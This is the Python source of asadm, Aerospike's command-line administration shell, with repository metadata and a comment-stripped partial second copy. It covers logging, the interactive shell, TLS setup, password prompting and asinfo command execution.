aerospike/aerospike-admin
dde7b15e798bf199b1c59279f65e5f963d4e3789
[ "Apache-2.0" ]
19
2015-01-07T01:17:39.000Z
2021-11-07T16:12:34.000Z
#!/usr/bin/env python3 # Copyright 2013-2021 Aerospike, Inc. # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import cmd import getpass import os import re import shlex import sys import logging import traceback if sys.version_info[0] < 3: raise Exception( "asadm requires Python 3. Use Aerospike tools package <= 3.27.x for Python 2 support." ) if "-e" not in sys.argv and "--asinfo" not in sys.argv: # asinfo mode or non-interactive mode does not need readline # if we import readline then it adds escape character, which breaks some of asinfo use-cases. import readline if "libedit" in readline.__doc__: # BSD libedit style tab completion for OS X readline.parse_and_bind("bind ^I rl_complete") else: readline.parse_and_bind("tab: complete") # Setup logger before anything class BaseLogger(logging.Logger, object): execute_only_mode = False def __init__(self, name, level=logging.WARNING): return super(BaseLogger, self).__init__(name, level=level) def _handle_exception(self, msg): if ( isinstance(msg, Exception) and not isinstance(msg, ShellException) and not isinstance(msg, info.ASProtocolError) and not isinstance(msg, ASInfoError) ): traceback.print_exc() def _print_message(self, msg, level, red_color=False, *args, **kwargs): try: message = str(msg).format(*args, **kwargs) except Exception: message = str(msg) message = level + ": " + message if red_color: message = terminal.fg_red() + message + terminal.fg_clear() print(message) def debug(self, msg, *args, **kwargs): if self.level <= logging.DEBUG: self._log(self.level, msg, args, **kwargs) def info(self, msg, *args, **kwargs): if self.level <= logging.INFO: self._print_message(msg, "INFO", False, *args, **kwargs) def warning(self, msg, *args, **kwargs): if self.level <= logging.WARNING: self._print_message(msg, "WARNING", True, *args, **kwargs) def error(self, msg, *args, **kwargs): if self.level <= logging.ERROR: self._print_message(msg, "ERROR", True, *args, **kwargs) self._handle_exception(msg) if self.execute_only_mode: exit(2) def critical(self, msg, *args, **kwargs): if self.level <= logging.CRITICAL: self._print_message(msg, "ERROR", True, *args, **kwargs) self._handle_exception(msg) exit(1) class LogFormatter(logging.Formatter): def __init__(self, fmt="%(levelno)s: %(msg)s"): super().__init__(fmt=fmt, datefmt=None, style="%") def format(self, record): original_fmt = self._style._fmt if record.levelno == logging.DEBUG: path_split = record.pathname.split("lib") if len(path_split) > 1: record.pathname = "lib" + record.pathname.split("lib")[1] self._style._fmt = ( "{%(pathname)s:%(lineno)d} %(levelname)s - %(message)s" ) else: self._style._fmt = ( "{%(filename)s:%(lineno)d} %(levelname)s - %(message)s" ) formatter = logging.Formatter(self._style._fmt) result = formatter.format(record) self._style._fmt = original_fmt return result logging.setLoggerClass(BaseLogger) logging.basicConfig(level=logging.WARNING) logger = logging.getLogger("asadm") logger.propagate = False logger.setLevel(logging.INFO) logging_handler = logging.StreamHandler() logging_handler.setLevel(logging.INFO) logging_handler.setFormatter(LogFormatter()) logger.addHandler(logging_handler) from lib.collectinfo_analyzer.collectinfo_root_controller import ( CollectinfoRootController, ) from lib.base_controller import ShellException from lib.live_cluster.live_cluster_root_controller import LiveClusterRootController from lib.live_cluster.client import info from lib.live_cluster.client.assocket import ASSocket from lib.live_cluster.client.ssl_context import SSLContext from lib.live_cluster.client.node import ASInfoError from lib.log_analyzer.log_analyzer_root_controller import LogAnalyzerRootController from lib.utils import common, util, conf from lib.utils.constants import ADMIN_HOME, AdminMode, AuthMode from lib.view import terminal, view __version__ = "$$__version__$$" CMD_FILE_SINGLE_LINE_COMMENT_START = "//" CMD_FILE_MULTI_LINE_COMMENT_START = "/*" CMD_FILE_MULTI_LINE_COMMENT_END = "*/" MULTILEVEL_COMMANDS = ["show", "info", "manage"] DEFAULT_PROMPT = "Admin> " PRIVILEGED_PROMPT = "Admin+> " class AerospikeShell(cmd.Cmd): def __init__( self, admin_version, seeds, user=None, password=None, auth_mode=AuthMode.INTERNAL, use_services_alumni=False, use_services_alt=False, log_path="", mode=AdminMode.LIVE_CLUSTER, ssl_context=None, only_connect_seed=False, execute_only_mode=False, timeout=5, ): # indicates shell created successfully and connected to cluster/collectinfo/logfile self.connected = True self.admin_history = ADMIN_HOME + "admin_" + str(mode).lower() + "_history" self.execute_only_mode = execute_only_mode self.privileged_mode = False if mode == AdminMode.LOG_ANALYZER: self.name = "Aerospike Log Analyzer Shell" elif mode == AdminMode.COLLECTINFO_ANALYZER: self.name = "Aerospike Collectinfo Shell" else: self.name = "Aerospike Interactive Shell" if not execute_only_mode: print( terminal.bold() + self.name + ", version " + admin_version + terminal.reset() + "\n" ) cmd.Cmd.__init__(self) try: if mode == AdminMode.LOG_ANALYZER: if not log_path: log_path = " " self.ctrl = LogAnalyzerRootController(admin_version, log_path) self.prompt = "Log-analyzer> " elif mode == AdminMode.COLLECTINFO_ANALYZER: if not log_path: logger.error( "You have not specified any collectinfo path. Usage: asadm -c -f <collectinfopath>" ) self.do_exit("") exit(1) self.ctrl = CollectinfoRootController( admin_version, clinfo_path=log_path ) self.prompt = "Collectinfo-analyzer> " if not execute_only_mode: self.intro = str(self.ctrl.log_handler) else: if user is not None: if password == conf.DEFAULTPASSWORD: if sys.stdin.isatty(): password = getpass.getpass("Enter Password:") else: password = sys.stdin.readline().strip() if not info.hasbcrypt: self.do_exit("") logger.critical("Authentication failed: bcrypt not installed.") self.ctrl = LiveClusterRootController( seed_nodes=seeds, user=user, password=password, auth_mode=auth_mode, use_services_alumni=use_services_alumni, use_services_alt=use_services_alt, ssl_context=ssl_context, asadm_version=admin_version, only_connect_seed=only_connect_seed, timeout=timeout, ) if not self.ctrl.cluster.get_live_nodes(): self.do_exit("") if self.execute_only_mode: self.connected = False return else: logger.critical( "Not able to connect any cluster with " + str(seeds) + "." ) self.set_prompt(DEFAULT_PROMPT) self.intro = "" if not execute_only_mode: self.intro += str(self.ctrl.cluster) + "\n" cluster_visibility_error_nodes = ( self.ctrl.cluster.get_visibility_error_nodes() ) if cluster_visibility_error_nodes: self.intro += ( terminal.fg_red() + "Cluster Visibility error (Please check services list): %s" % (", ".join(cluster_visibility_error_nodes)) + terminal.fg_clear() + "\n" ) cluster_down_nodes = self.ctrl.cluster.get_down_nodes() if cluster_down_nodes: self.intro += ( terminal.fg_red() + "Extra nodes in alumni list: %s" % (", ".join(cluster_down_nodes)) + terminal.fg_clear() + "\n" ) except Exception as e: self.do_exit("") logger.critical(str(e)) if not execute_only_mode: try: readline.read_history_file(self.admin_history) except Exception: readline.write_history_file(self.admin_history) self.commands = set() regex = re.compile("^do_(.*)$") commands = [regex.match(v).groups()[0] for v in filter(regex.search, dir(self))] for command in commands: if command != "help": self.commands.add(command) def set_prompt(self, prompt): self.prompt = prompt if self.use_rawinput: self.prompt = ( "\001" + terminal.bold() + terminal.fg_red() + "\002" + self.prompt + "\001" + terminal.unbold() + terminal.fg_clear() + "\002" ) def clean_line(self, line): # get rid of extra whitespace lexer = shlex.shlex(line) # TODO: shlex is not working with 'with' ip addresses. Need to write a # new parser or correct shlex behavior. commands = [] command = [] build_token = "" lexer.wordchars += ".*-:/_{}" for token in lexer: build_token += token if token == "-": continue if token == ";": if command: commands.append(command) command = [] else: command.append(build_token) build_token = "" else: if build_token: command.append(build_token) if command: commands.append(command) return commands def precmd( self, line, max_commands_to_print_header=1, command_index_to_print_from=1 ): lines = None try: lines = self.clean_line(line) if not lines: # allow empty lines return "" except Exception as e: logger.error(e) return "" for line in lines: if line[0] in self.commands: return " ".join(line) if len(lines) > max_commands_to_print_header: if len(line) > 1 and any( cmd.startswith(line[0]) for cmd in MULTILEVEL_COMMANDS ): index = command_index_to_print_from else: # If single level command then print from first index. For example: health, features, grep etc. index = 0 print( "\n~~~ %s%s%s ~~~" % (terminal.bold(), " ".join(line[index:]), terminal.reset()) ) sys.stdout.write(terminal.reset()) try: response = self.ctrl.execute(line) if response == "EXIT": return "exit" elif response == "ENABLE": self.set_prompt(PRIVILEGED_PROMPT) elif response == "DISABLE": self.set_prompt(DEFAULT_PROMPT) except Exception as e: logger.error(e) return "" # line was handled by execute def completenames(self, text, line, begidx, endidx): origline = line if isinstance(origline, str): line = origline.split(" ") line = [v for v in map(str.strip, line) if v] if origline and origline[-1] == " ": line.append("") if len(line) > 0: self.ctrl._init_commands() # dirty cmds = self.ctrl.commands.get_key(line[0]) else: cmds = [] if len(cmds) == 1: cmd = cmds[0] if cmd == "help": line.pop(0) if cmd == "watch": line.pop(0) try: for _ in (1, 2): int(line[0]) line.pop(0) except Exception: pass names = self.ctrl.complete(line) return ["%s " % n for n in names] def complete(self, text, state): """Return the next possible completion for 'text'. If a command has not been entered, then complete against command list. Otherwise try to call complete_<command> to get list of completions. """ if state <= 0: origline = readline.get_line_buffer() line = origline.lstrip() stripped = len(origline) - len(line) begidx = readline.get_begidx() - stripped endidx = readline.get_endidx() - stripped compfunc = self.completenames self.completion_matches = compfunc(text, line, begidx, endidx) try: return self.completion_matches[state] except IndexError: return None def emptyline(self): # do nothing return def close(self): try: self.ctrl.close() except Exception: pass # Other def do_exit(self, line): self.close() if not self.execute_only_mode and readline.get_current_history_length() > 0: readline.write_history_file(self.admin_history) return True def do_EOF(self, line): return self.do_exit(line) def do_cake(self, line): msg = """ * * * * * * ( ) (*) (*) ) | | ( * (*) |~| |~| (*) | |S| |A| | * |~| |P| |D| |~| |A| |I| |M| |U| ,|E|a@@@@|K|@@@@@@@@@@@|I|@@@@a|T|. .,a@@@|R|@@@@@|E|@@@@@@@@@@@|N|@@@@@|I|@@@@a,. ,a@@@@@@|O|@@@@@@@@@@@@.@@@@@@@@@@@@@@|L|@@@@@@@a, a@@@@@@@@@@@@@@@@@@@@@\' . `@@@@@@@@@@@@@@@@@@@@@@@@a ;`@@@@@@@@@@@@@@@@@@\' . `@@@@@@@@@@@@@@@@@@@@@\'; ;@@@`@@@@@@@@@@@@@\' . `@@@@@@@@@@@@@@@@\'@@@; ;@@@;,.aaaaaaaaaa . aaaaa,,aaaaaaa,;@@@; ;;@;;;;@@@@@@@@;@ @.@ ;@@@;;;@@@@@@;;;;@@; ;;;;;;;@@@@;@@;;@ @@ . @@ ;;@;;;;@@;@@@;;;;;;; ;;;;;;;;@@;;;;;;; @@ . @@ ;;;;;;;;;;;@@;;;;@;; ;;;;;;;;;;;;;;;;;@@ . @@;;;;;;;;;;;;;;;;@@@; ,%%%;;;;;;;;@;;;;;;;; . ;;;;;;;;;;;;;;;;@@;;%%%, .%%%%%%;;;;;;;@@;;;;;;;; ,%%%, ;;;;;;;;;;;;;;;;;;;;%%%%%%, .%%%%%%%;;;;;;;@@;;;;;;;; ,%%%%%%%, ;;;;;;;;;;;;;;;;;;;;%%%%%%%, %%%%%%%%`;;;;;;;;;;;;;;;; %%%%%%%%%%% ;;;;;;;;;;;;;;;;;;;\'%%%%%%%% %%%%%%%%%%%%`;;;;;;;;;;;;,%%%%%%%%%%%%%,;;;;;;;;;;;;;;;\'%%%%%%%%%%%% `%%%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%%%%%%\' `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\' `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\' """ from time import sleep s = 0.5 for line in msg.split("\n"): print(line) sleep(s) s = s / 1.2 print(terminal.bold() + "Let there be CAKE!".center(80) + terminal.reset()) def do_ctrl_c(*args, **kwargs): print("Please press ctrl+d or type exit") def parse_tls_input(cli_args): if cli_args.collectinfo: return None try: keyfile_password = cli_args.tls_keyfile_password if ( cli_args.tls_enable and cli_args.tls_keyfile and cli_args.tls_keyfile_password == conf.DEFAULTPASSWORD ): if sys.stdin.isatty(): keyfile_password = getpass.getpass("Enter TLS-Keyfile Password:") else: keyfile_password = sys.stdin.readline().strip() return SSLContext( enable_tls=cli_args.tls_enable, encrypt_only=None, cafile=cli_args.tls_cafile, capath=cli_args.tls_capath, keyfile=cli_args.tls_keyfile, keyfile_password=keyfile_password, certfile=cli_args.tls_certfile, protocols=cli_args.tls_protocols, cipher_suite=cli_args.tls_cipher_suite, cert_blacklist=cli_args.tls_cert_blacklist, crl_check=cli_args.tls_crl_check, crl_check_all=cli_args.tls_crl_check_all, ).ctx except Exception as e: logger.error("SSLContext creation Exception: " + str(e)) exit(1) def execute_asinfo_commands( commands_arg, seed, user=None, password=None, auth_mode=AuthMode.INTERNAL, ssl_context=None, line_separator=False, ): cmds = [None] if commands_arg: asinfo_command_pattern = re.compile(r"""((?:[^;"'\n]|"[^"]*"|'[^']*')+)""") cmds = asinfo_command_pattern.split(commands_arg)[1::2] if not cmds: return if user is not None: if password == conf.DEFAULTPASSWORD: if sys.stdin.isatty(): password = getpass.getpass("Enter Password:") else: password = sys.stdin.readline().strip() if not info.hasbcrypt: logger.critical("Authentication failed: bcrypt not installed.") assock = ASSocket(seed[0], seed[1], seed[2], user, password, auth_mode, ssl_context) if not assock.connect(): logger.critical("Not able to connect any cluster with " + str(seed) + ".") return if not assock.login(): logger.critical( "Not able to login and authenticate any cluster with " + str(seed) + "." ) return node_name = "%s:%s" % (seed[0], seed[1]) for command in cmds: if command: command = util.strip_string(command) result = assock.info(command) if result == -1 or result is None: result = IOError("Error: Invalid command '%s'" % command) view.CliView.asinfo({node_name: result}, line_separator, False, None) return def main(): cli_args = conf.get_cli_args() admin_version = get_version() if cli_args.help: conf.print_config_help() exit(0) if cli_args.version: print("Aerospike Administration Shell") print("Version " + str(admin_version)) exit(0) if cli_args.no_color: disable_coloring() if cli_args.pmap: from lib.live_cluster.collectinfo_controller import CollectinfoController CollectinfoController.get_pmap = True mode = AdminMode.LIVE_CLUSTER if cli_args.collectinfo: mode = AdminMode.COLLECTINFO_ANALYZER if cli_args.log_analyser: if cli_args.collectinfo: logger.critical( "collectinfo-analyser and log-analyser are mutually exclusive options. Please enable only one." ) mode = AdminMode.LOG_ANALYZER if cli_args.json: output_json() if not os.path.isdir(ADMIN_HOME): os.makedirs(ADMIN_HOME) execute_only_mode = False if cli_args.execute is not None: execute_only_mode = True BaseLogger.execute_only_mode = True cli_args, seeds = conf.loadconfig(cli_args, logger) if cli_args.services_alumni and cli_args.services_alternate: logger.critical( "Aerospike does not support alternate address for alumni services. Please enable only one of services_alumni or services_alternate." ) if not cli_args.tls_enable and ( cli_args.auth == AuthMode.EXTERNAL or cli_args.auth == AuthMode.PKI ): logger.critical("TLS is required for authentication mode: " + cli_args.auth) ssl_context = parse_tls_input(cli_args) if cli_args.asinfo_mode: if mode == AdminMode.COLLECTINFO_ANALYZER or mode == AdminMode.LOG_ANALYZER: logger.critical( "asinfo mode cannot work with Collectinfo-analyser or Log-analyser mode." ) commands_arg = cli_args.execute if commands_arg and os.path.isfile(commands_arg): commands_arg = parse_commands(commands_arg) try: execute_asinfo_commands( commands_arg, seeds[0], user=cli_args.user, password=cli_args.password, auth_mode=cli_args.auth, ssl_context=ssl_context, line_separator=cli_args.line_separator, ) exit(0) except Exception as e: logger.error(e) exit(1) if not execute_only_mode: readline.set_completer_delims(" \t\n;") shell = AerospikeShell( admin_version, seeds, user=cli_args.user, password=cli_args.password, auth_mode=cli_args.auth, use_services_alumni=cli_args.services_alumni, use_services_alt=cli_args.services_alternate, log_path=cli_args.log_path, mode=mode, ssl_context=ssl_context, only_connect_seed=cli_args.single_node, execute_only_mode=execute_only_mode, timeout=cli_args.timeout, ) use_yappi = False if cli_args.profile: try: import yappi use_yappi = True except Exception as a: print("Unable to load profiler") print("Yappi Exception:") print(str(a)) exit(1) func = None args = () single_command = True real_stdout = sys.stdout if not execute_only_mode: if not shell.connected: exit(1) func = shell.cmdloop single_command = False else: commands_arg = cli_args.execute max_commands_to_print_header = 1 command_index_to_print_from = 1 if os.path.isfile(commands_arg): commands_arg = parse_commands(commands_arg) max_commands_to_print_header = 0 command_index_to_print_from = 0 if cli_args.out_file: try: f = open(str(cli_args.out_file), "w") sys.stdout = f disable_coloring() max_commands_to_print_header = 0 command_index_to_print_from = 0 except Exception as e: print(e) def cleanup(): try: sys.stdout = real_stdout if f: f.close() except Exception: pass if shell.connected: line = shell.precmd( commands_arg, max_commands_to_print_header=max_commands_to_print_header, command_index_to_print_from=command_index_to_print_from, ) shell.onecmd(line) func = shell.onecmd args = (line,) else: if "collectinfo" in commands_arg: logger.warning( "Collecting only System data. Not able to connect any cluster with " + str(seeds) + "." ) func = common.collect_sys_info(port=cli_args.port) cleanup() exit(1) cleanup() logger.critical("Not able to connect any cluster with " + str(seeds) + ".") cmdloop(shell, func, args, use_yappi, single_command) shell.close() try: sys.stdout = real_stdout if f: f.close() except Exception: pass def disable_coloring(): from .lib.view import terminal terminal.enable_color(False) def output_json(): from lib.view.sheet import set_style_json set_style_json() def cmdloop(shell, func, args, use_yappi, single_command): try: if use_yappi: import yappi yappi.start() func(*args) yappi.get_func_stats().print_all() else: func(*args) except (KeyboardInterrupt, SystemExit): if not single_command: shell.intro = ( terminal.fg_red() + "\nTo exit asadm utility please run exit command." + terminal.fg_clear() ) cmdloop(shell, func, args, use_yappi, single_command) def parse_commands(file): commands = "" commented = False for line in open(file, "r").readlines(): if not line or not line.strip(): continue if commented: if line.strip().endswith(CMD_FILE_MULTI_LINE_COMMENT_END): commented = False continue if line.strip().startswith(CMD_FILE_SINGLE_LINE_COMMENT_START): continue if line.strip().startswith(CMD_FILE_MULTI_LINE_COMMENT_START): if not line.strip().endswith(CMD_FILE_MULTI_LINE_COMMENT_END): commented = True continue try: commands = commands + line except Exception: commands = line return commands def get_version(): if __version__.startswith("$$"): path = sys.argv[0].split("/")[:-1] path.append("version.txt") vfile = "/".join(path) f = open(vfile) version = f.readline() f.close() return str(version) else: return __version__ if __name__ == "__main__": main()
31.464326
144
0.521974
import cmd import getpass import os import re import shlex import sys import logging import traceback if sys.version_info[0] < 3: raise Exception( "asadm requires Python 3. Use Aerospike tools package <= 3.27.x for Python 2 support." ) if "-e" not in sys.argv and "--asinfo" not in sys.argv: import readline if "libedit" in readline.__doc__: readline.parse_and_bind("bind ^I rl_complete") else: readline.parse_and_bind("tab: complete") class BaseLogger(logging.Logger, object): execute_only_mode = False def __init__(self, name, level=logging.WARNING): return super(BaseLogger, self).__init__(name, level=level) def _handle_exception(self, msg): if ( isinstance(msg, Exception) and not isinstance(msg, ShellException) and not isinstance(msg, info.ASProtocolError) and not isinstance(msg, ASInfoError) ): traceback.print_exc() def _print_message(self, msg, level, red_color=False, *args, **kwargs): try: message = str(msg).format(*args, **kwargs) except Exception: message = str(msg) message = level + ": " + message if red_color: message = terminal.fg_red() + message + terminal.fg_clear() print(message) def debug(self, msg, *args, **kwargs): if self.level <= logging.DEBUG: self._log(self.level, msg, args, **kwargs) def info(self, msg, *args, **kwargs): if self.level <= logging.INFO: self._print_message(msg, "INFO", False, *args, **kwargs) def warning(self, msg, *args, **kwargs): if self.level <= logging.WARNING: self._print_message(msg, "WARNING", True, *args, **kwargs) def error(self, msg, *args, **kwargs): if self.level <= logging.ERROR: self._print_message(msg, "ERROR", True, *args, **kwargs) self._handle_exception(msg) if self.execute_only_mode: exit(2) def critical(self, msg, *args, **kwargs): if self.level <= logging.CRITICAL: self._print_message(msg, "ERROR", True, *args, **kwargs) self._handle_exception(msg) exit(1) class LogFormatter(logging.Formatter): def __init__(self, fmt="%(levelno)s: %(msg)s"): super().__init__(fmt=fmt, datefmt=None, style="%") def format(self, record): original_fmt = self._style._fmt if record.levelno == logging.DEBUG: path_split = record.pathname.split("lib") if len(path_split) > 1: record.pathname = "lib" + record.pathname.split("lib")[1] self._style._fmt = ( "{%(pathname)s:%(lineno)d} %(levelname)s - %(message)s" ) else: self._style._fmt = ( "{%(filename)s:%(lineno)d} %(levelname)s - %(message)s" ) formatter = logging.Formatter(self._style._fmt) result = formatter.format(record) self._style._fmt = original_fmt return result logging.setLoggerClass(BaseLogger) logging.basicConfig(level=logging.WARNING) logger = logging.getLogger("asadm") logger.propagate = False logger.setLevel(logging.INFO) logging_handler = logging.StreamHandler() logging_handler.setLevel(logging.INFO) logging_handler.setFormatter(LogFormatter()) logger.addHandler(logging_handler) from lib.collectinfo_analyzer.collectinfo_root_controller import ( CollectinfoRootController, ) from lib.base_controller import ShellException from lib.live_cluster.live_cluster_root_controller import LiveClusterRootController from lib.live_cluster.client import info from lib.live_cluster.client.assocket import ASSocket from lib.live_cluster.client.ssl_context import SSLContext from lib.live_cluster.client.node import ASInfoError from lib.log_analyzer.log_analyzer_root_controller import LogAnalyzerRootController from lib.utils import common, util, conf from lib.utils.constants import ADMIN_HOME, AdminMode, AuthMode from lib.view import terminal, view __version__ = "$$__version__$$" CMD_FILE_SINGLE_LINE_COMMENT_START = "//" CMD_FILE_MULTI_LINE_COMMENT_START = "/*" CMD_FILE_MULTI_LINE_COMMENT_END = "*/" MULTILEVEL_COMMANDS = ["show", "info", "manage"] DEFAULT_PROMPT = "Admin> " PRIVILEGED_PROMPT = "Admin+> " class AerospikeShell(cmd.Cmd): def __init__( self, admin_version, seeds, user=None, password=None, auth_mode=AuthMode.INTERNAL, use_services_alumni=False, use_services_alt=False, log_path="", mode=AdminMode.LIVE_CLUSTER, ssl_context=None, only_connect_seed=False, execute_only_mode=False, timeout=5, ): self.connected = True self.admin_history = ADMIN_HOME + "admin_" + str(mode).lower() + "_history" self.execute_only_mode = execute_only_mode self.privileged_mode = False if mode == AdminMode.LOG_ANALYZER: self.name = "Aerospike Log Analyzer Shell" elif mode == AdminMode.COLLECTINFO_ANALYZER: self.name = "Aerospike Collectinfo Shell" else: self.name = "Aerospike Interactive Shell" if not execute_only_mode: print( terminal.bold() + self.name + ", version " + admin_version + terminal.reset() + "\n" ) cmd.Cmd.__init__(self) try: if mode == AdminMode.LOG_ANALYZER: if not log_path: log_path = " " self.ctrl = LogAnalyzerRootController(admin_version, log_path) self.prompt = "Log-analyzer> " elif mode == AdminMode.COLLECTINFO_ANALYZER: if not log_path: logger.error( "You have not specified any collectinfo path. Usage: asadm -c -f <collectinfopath>" ) self.do_exit("") exit(1) self.ctrl = CollectinfoRootController( admin_version, clinfo_path=log_path ) self.prompt = "Collectinfo-analyzer> " if not execute_only_mode: self.intro = str(self.ctrl.log_handler) else: if user is not None: if password == conf.DEFAULTPASSWORD: if sys.stdin.isatty(): password = getpass.getpass("Enter Password:") else: password = sys.stdin.readline().strip() if not info.hasbcrypt: self.do_exit("") logger.critical("Authentication failed: bcrypt not installed.") self.ctrl = LiveClusterRootController( seed_nodes=seeds, user=user, password=password, auth_mode=auth_mode, use_services_alumni=use_services_alumni, use_services_alt=use_services_alt, ssl_context=ssl_context, asadm_version=admin_version, only_connect_seed=only_connect_seed, timeout=timeout, ) if not self.ctrl.cluster.get_live_nodes(): self.do_exit("") if self.execute_only_mode: self.connected = False return else: logger.critical( "Not able to connect any cluster with " + str(seeds) + "." ) self.set_prompt(DEFAULT_PROMPT) self.intro = "" if not execute_only_mode: self.intro += str(self.ctrl.cluster) + "\n" cluster_visibility_error_nodes = ( self.ctrl.cluster.get_visibility_error_nodes() ) if cluster_visibility_error_nodes: self.intro += ( terminal.fg_red() + "Cluster Visibility error (Please check services list): %s" % (", ".join(cluster_visibility_error_nodes)) + terminal.fg_clear() + "\n" ) cluster_down_nodes = self.ctrl.cluster.get_down_nodes() if cluster_down_nodes: self.intro += ( terminal.fg_red() + "Extra nodes in alumni list: %s" % (", ".join(cluster_down_nodes)) + terminal.fg_clear() + "\n" ) except Exception as e: self.do_exit("") logger.critical(str(e)) if not execute_only_mode: try: readline.read_history_file(self.admin_history) except Exception: readline.write_history_file(self.admin_history) self.commands = set() regex = re.compile("^do_(.*)$") commands = [regex.match(v).groups()[0] for v in filter(regex.search, dir(self))] for command in commands: if command != "help": self.commands.add(command) def set_prompt(self, prompt): self.prompt = prompt if self.use_rawinput: self.prompt = ( "\001" + terminal.bold() + terminal.fg_red() + "\002" + self.prompt + "\001" + terminal.unbold() + terminal.fg_clear() + "\002" ) def clean_line(self, line): lexer = shlex.shlex(line) commands = [] command = [] build_token = "" lexer.wordchars += ".*-:/_{}" for token in lexer: build_token += token if token == "-": continue if token == ";": if command: commands.append(command) command = [] else: command.append(build_token) build_token = "" else: if build_token: command.append(build_token) if command: commands.append(command) return commands def precmd( self, line, max_commands_to_print_header=1, command_index_to_print_from=1 ): lines = None try: lines = self.clean_line(line) if not lines: return "" except Exception as e: logger.error(e) return "" for line in lines: if line[0] in self.commands: return " ".join(line) if len(lines) > max_commands_to_print_header: if len(line) > 1 and any( cmd.startswith(line[0]) for cmd in MULTILEVEL_COMMANDS ): index = command_index_to_print_from else: index = 0 print( "\n~~~ %s%s%s ~~~" % (terminal.bold(), " ".join(line[index:]), terminal.reset()) ) sys.stdout.write(terminal.reset()) try: response = self.ctrl.execute(line) if response == "EXIT": return "exit" elif response == "ENABLE": self.set_prompt(PRIVILEGED_PROMPT) elif response == "DISABLE": self.set_prompt(DEFAULT_PROMPT) except Exception as e: logger.error(e) return "" def completenames(self, text, line, begidx, endidx): origline = line if isinstance(origline, str): line = origline.split(" ") line = [v for v in map(str.strip, line) if v] if origline and origline[-1] == " ": line.append("") if len(line) > 0: self.ctrl._init_commands() cmds = self.ctrl.commands.get_key(line[0]) else: cmds = [] if len(cmds) == 1: cmd = cmds[0] if cmd == "help": line.pop(0) if cmd == "watch": line.pop(0) try: for _ in (1, 2): int(line[0]) line.pop(0) except Exception: pass names = self.ctrl.complete(line) return ["%s " % n for n in names] def complete(self, text, state): if state <= 0: origline = readline.get_line_buffer() line = origline.lstrip() stripped = len(origline) - len(line) begidx = readline.get_begidx() - stripped endidx = readline.get_endidx() - stripped compfunc = self.completenames self.completion_matches = compfunc(text, line, begidx, endidx) try: return self.completion_matches[state] except IndexError: return None def emptyline(self): return def close(self): try: self.ctrl.close() except Exception: pass def do_exit(self, line): self.close() if not self.execute_only_mode and readline.get_current_history_length() > 0: readline.write_history_file(self.admin_history) return True def do_EOF(self, line): return self.do_exit(line) def do_cake(self, line): msg = """ * * * * * * ( ) (*) (*) ) | | ( * (*) |~| |~| (*) | |S| |A| | * |~| |P| |D| |~| |A| |I| |M| |U| ,|E|a@@@@|K|@@@@@@@@@@@|I|@@@@a|T|. .,a@@@|R|@@@@@|E|@@@@@@@@@@@|N|@@@@@|I|@@@@a,. ,a@@@@@@|O|@@@@@@@@@@@@.@@@@@@@@@@@@@@|L|@@@@@@@a, a@@@@@@@@@@@@@@@@@@@@@\' . `@@@@@@@@@@@@@@@@@@@@@@@@a ;`@@@@@@@@@@@@@@@@@@\' . `@@@@@@@@@@@@@@@@@@@@@\'; ;@@@`@@@@@@@@@@@@@\' . `@@@@@@@@@@@@@@@@\'@@@; ;@@@;,.aaaaaaaaaa . aaaaa,,aaaaaaa,;@@@; ;;@;;;;@@@@@@@@;@ @.@ ;@@@;;;@@@@@@;;;;@@; ;;;;;;;@@@@;@@;;@ @@ . @@ ;;@;;;;@@;@@@;;;;;;; ;;;;;;;;@@;;;;;;; @@ . @@ ;;;;;;;;;;;@@;;;;@;; ;;;;;;;;;;;;;;;;;@@ . @@;;;;;;;;;;;;;;;;@@@; ,%%%;;;;;;;;@;;;;;;;; . ;;;;;;;;;;;;;;;;@@;;%%%, .%%%%%%;;;;;;;@@;;;;;;;; ,%%%, ;;;;;;;;;;;;;;;;;;;;%%%%%%, .%%%%%%%;;;;;;;@@;;;;;;;; ,%%%%%%%, ;;;;;;;;;;;;;;;;;;;;%%%%%%%, %%%%%%%%`;;;;;;;;;;;;;;;; %%%%%%%%%%% ;;;;;;;;;;;;;;;;;;;\'%%%%%%%% %%%%%%%%%%%%`;;;;;;;;;;;;,%%%%%%%%%%%%%,;;;;;;;;;;;;;;;\'%%%%%%%%%%%% `%%%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%,,,,,,,%%%%%%%%%%%%%%%%%%%%\' `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\' `%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\' """ from time import sleep s = 0.5 for line in msg.split("\n"): print(line) sleep(s) s = s / 1.2 print(terminal.bold() + "Let there be CAKE!".center(80) + terminal.reset()) def do_ctrl_c(*args, **kwargs): print("Please press ctrl+d or type exit") def parse_tls_input(cli_args): if cli_args.collectinfo: return None try: keyfile_password = cli_args.tls_keyfile_password if ( cli_args.tls_enable and cli_args.tls_keyfile and cli_args.tls_keyfile_password == conf.DEFAULTPASSWORD ): if sys.stdin.isatty(): keyfile_password = getpass.getpass("Enter TLS-Keyfile Password:") else: keyfile_password = sys.stdin.readline().strip() return SSLContext( enable_tls=cli_args.tls_enable, encrypt_only=None, cafile=cli_args.tls_cafile, capath=cli_args.tls_capath, keyfile=cli_args.tls_keyfile, keyfile_password=keyfile_password, certfile=cli_args.tls_certfile, protocols=cli_args.tls_protocols, cipher_suite=cli_args.tls_cipher_suite, cert_blacklist=cli_args.tls_cert_blacklist, crl_check=cli_args.tls_crl_check, crl_check_all=cli_args.tls_crl_check_all, ).ctx except Exception as e: logger.error("SSLContext creation Exception: " + str(e)) exit(1) def execute_asinfo_commands( commands_arg, seed, user=None, password=None, auth_mode=AuthMode.INTERNAL, ssl_context=None, line_separator=False, ): cmds = [None] if commands_arg: asinfo_command_pattern = re.compile(r"""((?:[^;"'\n]|"[^"]*"|'[^']*')+)""") cmds = asinfo_command_pattern.split(commands_arg)[1::2] if not cmds: return if user is not None: 